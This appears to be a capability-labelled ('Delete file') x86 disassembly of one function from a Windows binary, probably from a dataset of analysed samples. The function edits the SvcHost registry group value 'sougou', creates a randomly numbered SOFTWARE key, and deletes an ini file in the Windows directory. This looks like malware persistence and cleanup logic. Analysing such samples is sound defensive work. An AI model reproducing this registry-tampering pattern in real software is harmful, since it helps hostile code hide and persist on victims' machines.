Function at 0x1000d530
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x980
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x1af]
mov byte [ebp - 0x1b0], 0
push str.GetWindowsDirectoryA
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.kernel32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x1b0]
push 0x104
push ecx
call eax
mov edi, str.Net_Temp.ini
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x1b0]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x1ad], 0
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0xd
mov esi, str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvcHost
lea edi, [ebp - 0x48]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
nop
nop
nop
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0x48]
push eax
push ecx
call fcn.1000d210
mov ecx, 0x18
xor eax, eax
lea edi, [ebp - 0xab]
mov byte [ebp - 0xac], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
push eax
lea edx, [ebp - 0xac]
push str.SOFTWARE_d
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000d270
add esp, 0x20
lea edx, [ebp - 8]
lea eax, [ebp - 0xac]
push edx
push 0xf003f
push 0
push eax
push 0x80000002
call dword [0x1001b450]
test eax, eax
jne 0x1000d805
mov ecx, 0x1f3
lea edi, [ebp - 0x97f]
mov byte [ebp - 0x980], al
lea edx, [ebp - 0x980]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x1f4
xor eax, eax
lea edi, [ebp - 0x980]
mov dword [ebp - 0xc], 7
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x10]
lea eax, [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
push edx
push eax
push 0
push str.sougou
push ecx
mov dword [ebp - 0x10], 0x7d0
call dword [0x1001b4d0]
test eax, eax
jne 0x1000d754
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea ebx, [ebp - 0x980]
mov esi, ecx
mov dword [ebp - 4], eax
test si, si
je 0x1000d70e
cmp si, 1
je 0x1000d70e
push 0x10019ac8
push ebx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x1000d743
mov edx, dword [ebp - 4]
mov eax, esi
and eax, 0xffff
test si, si
lea ebx, [ebx + eax + 1]
lea eax, [edx + eax + 1]
mov dword [ebp - 4], eax
je 0x1000d70e
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
test si, si
jne 0x1000d6c8
mov edi, 0x10019ac8
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp - 4]
repne scasb al, byte es:[edi]
mov al, byte [ebx - 1]
push 0x10019ac8
not ecx
dec ecx
push 0x10019f3c
add edx, ecx
test al, al
mov dword [ebp - 4], edx
je 0x1000d737
inc ebx
push ebx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
jmp 0x1000d78f
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1001b454]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x10019ac8
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x980]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x980]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov dword [ebp - 4], ecx
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
lea edx, [ebp - 0x980]
push ecx
push edx
push 7
push 0
push str.sougou
push eax
call dword [0x1001b4c0]
mov ecx, dword [ebp - 8]
push ecx
call dword [0x1001b454]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [ebp - 0x1b0]
push edx
call esi
lea eax, [ebp - 0x1b0]
lea ecx, [ebp - 0xac]
push eax
push ecx
call fcn.1000d210
push 0x30
call dword [sym.imp.MSVCRT.dll_putchar]
lea edx, [ebp - 0x1b0]
lea eax, [ebp - 0x48]
push edx
push eax
call fcn.1000d270
add esp, 0x14
lea ecx, [ebp - 0x1b0]
push ecx
call esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret